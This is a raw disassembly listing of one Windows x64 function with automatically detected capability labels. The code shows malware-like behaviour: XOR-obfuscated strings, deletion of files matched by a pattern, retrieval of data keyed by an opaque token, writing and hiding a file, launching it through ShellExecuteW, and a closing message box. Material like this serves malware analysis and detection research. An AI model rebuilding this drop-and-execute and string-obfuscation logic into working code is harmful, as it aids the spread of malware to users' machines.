Function at 0x140148210
Capabilities:
Check if file exists
Create process on windows
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x890]
sub rsp, 0x990
mov rax, qword [0x14043c0c0]
xor rax, rsp
mov qword [rbp + 0x880], rax
mov rsi, rcx
xor r14d, r14d
lea ecx, [r14 + 0x14]
call fcn.140155150
mov rdi, rax
xor ecx, ecx
call fcn.140198ec4
mov rcx, rax
call fcn.14019f6cc
mov ebx, r14d
movabs r15, 0x4ec4ec4ec4ec4ec5
call fcn.14019f6a0
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 3
imul rax, rdx, 0x1a
sub rcx, rax
add cx, 0x41
mov word [rdi + rbx*2], cx
inc rbx
cmp rbx, 9
jb 0x140148276
mov word [rdi + 0x12], r14w
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], r14
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rdi + r8*2], r14w
jne 0x1401482d0
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.140112ec0
nop
lea rax, [rbp + 0xc0]
mov r11, qword [rbp + 0xc0]
mov r9, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xd0]
cmp r9, 7
jbe 0x140148319
lea r10, [r11 + rdi*2]
lea rax, [r11 + rdi*2]
mov rcx, r11
jmp 0x14014832f
lea r10, [rax + rdi*2]
lea rax, [rbp + 0xc0]
lea rax, [rax + rdi*2]
lea rcx, [rbp + 0xc0]
cmp rcx, rax
je 0x140148396
movzx r8d, byte [rcx]
test r8b, r8b
js 0x14014834c
cmp r8b, 0x22
je 0x14014834c
add rcx, 2
cmp rcx, rax
jne 0x140148334
cmp rcx, rax
je 0x140148396
lea r8, [rcx + 2]
cmp r8, rax
je 0x140148396
nop word [rax + rax]
movzx edx, byte [r8]
test dl, dl
js 0x140148378
cmp dl, 0x22
je 0x140148378
movzx edx, word [r8]
mov word [rcx], dx
add rcx, 2
add r8, 2
cmp r8, rax
jne 0x140148360
mov r9, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xd0]
mov r11, qword [rbp + 0xc0]
lea rax, [rbp + 0xc0]
cmp r9, 7
seta dl
cmova rax, r11
mov r9, rcx
sub r9, rax
sar r9, 1
sub r10, rcx
sar r10, 1
mov qword [rbp - 0x70], r10
mov rax, rdi
sub rax, r9
mov qword [rbp - 0x68], rax
cmp rax, r10
cmovb r10, rax
lea rax, [rbp + 0xc0]
test dl, dl
cmovne rax, r11
lea rcx, [rax + r9*2]
sub rdi, r10
mov r8, rdi
sub r8, r9
lea r8, [r8*2 + 2]
lea rdx, [rcx + r10*2]
call fcn.140355880
mov qword [rbp + 0xd0], rdi
movabs rax, 0x383008bf78fea1b
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xd93ae8385e1fb378
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x774ce9ca25e73867
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x73f4d05613653219
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1c8], rax
movabs r12, 0x3e600fdf7eaea75
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x570], rax
movabs r15, 0xd957e84c5e35b30a
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x578], rax
movabs rax, 0x7734e9af25c93817
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x580], rax
movabs r13, 0x73f4d0561365327c
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x588], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x1c0], xmm1
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14014854b
lea rcx, [rbp + 0x32c]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x300]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140148521
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x3c8008df787ea01
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x160], rax
movabs rax, 0xd957e8295e4db36f
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x168], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x160], xmm0
movabs rax, 0x383008bf78fea1b
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x150], rax
movabs rax, 0xd957e84c5e35b378
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x78], rax
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x150], xmm0
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x270]
call fcn.14014c6c0
nop
lea r8, [rbp + 0x160]
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14013efa0
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x140148695
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148d68
call fcn.14015511c
mov qword [rbp + 0x280], r14
mov qword [rbp + 0x288], 7
mov word [rbp + 0x270], r14w
mov rdi, qword [0x1406a2c10]
movabs rax, 0x6a92659ad8839a14
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x170], rax
movabs rax, 0xb73283232a0ad964
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x178], rax
movabs rax, 0x7734e9af25c9382a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x180], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x188], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x590], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x598], rax
movabs rax, 0x7734e9af25c93817
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5a0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5a8], rax
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp + 0x5a0]
movdqa xmmword [rbp + 0x180], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], r14
lea rax, [rbp + 0x170]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1401487b3
mov r8, rbx
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xe0]
call fcn.140112ff0
nop
mov r8d, gethostname
lea rdx, str.CiM_3nhob34Fo_Q8WAJkC2BGkf6H5HE_Gksg4pwyWX2hbkSFBLem
lea rcx, [rbp + 0xe0]
call fcn.14011d010
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rax, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rax, qword [rbp + 0x110]
mov qword [rbp - 0x80], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp - 0x78], rax
mov rax, qword [rdi]
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov byte [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x190]
mov rcx, rdi
call qword [rax + 0x18]
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1401488c4
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401488bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148d6e
call fcn.14015511c
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14014891e
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148d74
call fcn.14015511c
mov qword [rbp + 0xf0], r14
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rbp + 0xe0], 0
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rdx, qword [rbp + 0x130]
mov r8d, 0x20
lea rcx, [rbp - 0x50]
call fcn.14013d6e0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
mov r8, qword [rbp + 0x1a0]
cmp r8, 0x1e8480
jbe 0x140148d7a
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rdx, qword [rbp + 0x190]
lea rcx, [rbp - 0x50]
call fcn.14014c140
lea rcx, [rbp - 0x48]
call fcn.140126170
mov ebx, 2
test rax, rax
jne 0x1401489f5
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx - 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x140149372
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140148b60
mov rcx, rsi
call fcn.140148210
nop
lea rcx, [rbp - 0x50]
call fcn.140124630
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140148a6f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401493ca
call fcn.14015511c
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 7
jbe 0x140148ace
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148ac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401493d0
call fcn.14015511c
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], r14w
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x140148b2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148b25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148b5a
call fcn.14015511c
mov rcx, qword [rbp + 0x880]
xor rcx, rsp
call fcn.140154c90
lea r11, [rsp + 0x990]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140192f04
nop
lea rcx, [rbp + 0x130]
call fcn.1401123d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8d, 0x104
lea rdx, [rbp + 0x670]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x290]
call fcn.140112450
mov r8, rax
movabs rax, 0x382008df79fea58
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x550], rcx
movabs rax, 0xd977e8295e41b36b
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x558], rcx
movabs rax, 0x7734e9af25c93835
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x560], rcx
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x568], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5b0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x7734e9af25c93817
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5c0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5c8], rax
movdqa xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x550], xmm0
movdqa xmm1, xmmword [rbp + 0x560]
xorps xmm1, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x560], xmm1
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x2b8]
call fcn.14014c830
nop
lea r8, [0x14040d41c]
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.14013efa0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1401123e0
nop
lea rcx, [rbp + 0x290]
call fcn.1401123e0
lea rcx, [rbp + 0x2d8]
call fcn.1401123d0
mov rbx, rax
lea rcx, [rbp + 0x130]
call fcn.1401123d0
mov r8, rax
movabs rax, 0x3880098f79aea1a
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x100], rcx
mov qword [rsp + 0x40], r15
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x108], rcx
mov qword [rsp + 0x40], r12
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x58], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x100], xmm0
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r14
mov r9, rbx
lea rdx, [rbp + 0x100]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14019f534
nop
call fcn.140192f04
nop
call fcn.140192f04
nop
call fcn.140192f04
nop
movabs rax, 0x389008ff798ea30
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xe0], rax
movabs rax, 0xd966e8175e15b378
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xe8], rax
movabs rax, 0x7734e9af25c9384a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xf0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xf8], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x550], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x558], rax
movabs rcx, 0x7734e9af25c93817
mov qword [rsp + 0x40], rcx
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x560], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x568], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0xe0], xmm0
movdqa xmm1, xmmword [rbp + 0xf0]
xorps xmm1, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0xf0], xmm1
movabs rax, 0x3830093f7caea34
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xd925e8235e42b37e
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x7746e9ca25e9387c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x73d4d024130a320e
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xc1d247825e548796
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x7e6d76c52404407c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xed26d0b33ea82cf7
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x200], rax
movabs rax, 0xb268fbf917147385
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x208], rax
movabs rax, 0x3671900dcbcb6e7d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x210], rax
movabs rax, 0xe9dc54149da0d271
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x218], rax
movabs rax, 0x1900da853713a750
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x220], rax
movabs rax, 0x4a8a4eab8db2a6d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x228], rax
movabs rax, 0x82c5c42c7374d313
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x230], rax
movabs rax, 0x6799c6a77cdfbb76
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x238], rax
movabs rax, 0xae0aa3e8e3c3466d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x240], rax
movabs rax, 0x357b349cde504341
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x248], rax
movabs rax, 0x34ecbc4933d025e4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x250], rax
movabs rax, 0xb66d42856f4c296e
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x258], rax
movabs rax, 0x2912c6be841ca346
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x260], rax
movabs rax, 0x8fff1786d38f79e2
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x268], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5d0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5d8], rax
mov qword [rsp + 0x40], rcx
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5e0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5e8], rax
movabs rax, 0xc1a747e15e3787f9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x7e0976a02476400e
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5f8], rax
movabs rax, 0xed4ad0c33e882cdb
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x600], rax
movabs rax, 0xb20dfb8a177573e0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x608], rax
movabs rax, 0x36149065cba86e5d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x610], rax
movabs rax, 0xe9a554349dcbd212
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x618], rax
movabs rax, 0x1920daf73766a73f
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x620], rax
movabs rax, 0x4cda49eb8b52a24
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x628], rax
movabs rax, 0x82b1c449731ad361
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x630], rax
movabs rax, 0x67f7c6c87cbcbb56
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x638], rax
movabs rax, 0xae7ea38be3a64603
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x640], rax
movabs rax, 0x355b34f2de3f4328
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x648], rax
movabs rax, 0x34ccbc2d33be2585
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x650], rax
movabs rax, 0xb64d42fc6f3e291a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x658], rax
movabs rax, 0x297bc6df847ba327
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x660], rax
movabs rax, 0x8fff1786d3a1798c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x668], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [rbp + 0x1e0]
xorps xmm1, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [rbp + 0x200]
xorps xmm1, xmmword [rbp + 0x600]
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmm1, xmmword [rbp + 0x240]
xorps xmm1, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x240], xmm1
movdqa xmm0, xmmword [rbp + 0x250]
xorps xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm1, xmmword [rbp + 0x260]
xorps xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x260], xmm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14019f534
int3
test al, 4
je 0x14014937f
lea rbx, str.ios_base::badbit_set
jmp 0x140149393
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x100]
call fcn.140114d60
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x290]
call fcn.140115740
lea rdx, [0x1404391c0]
lea rcx, [rbp + 0x290]
call fcn.14018d774
nop
call fcn.140192f04
nop
call fcn.140192f04
int3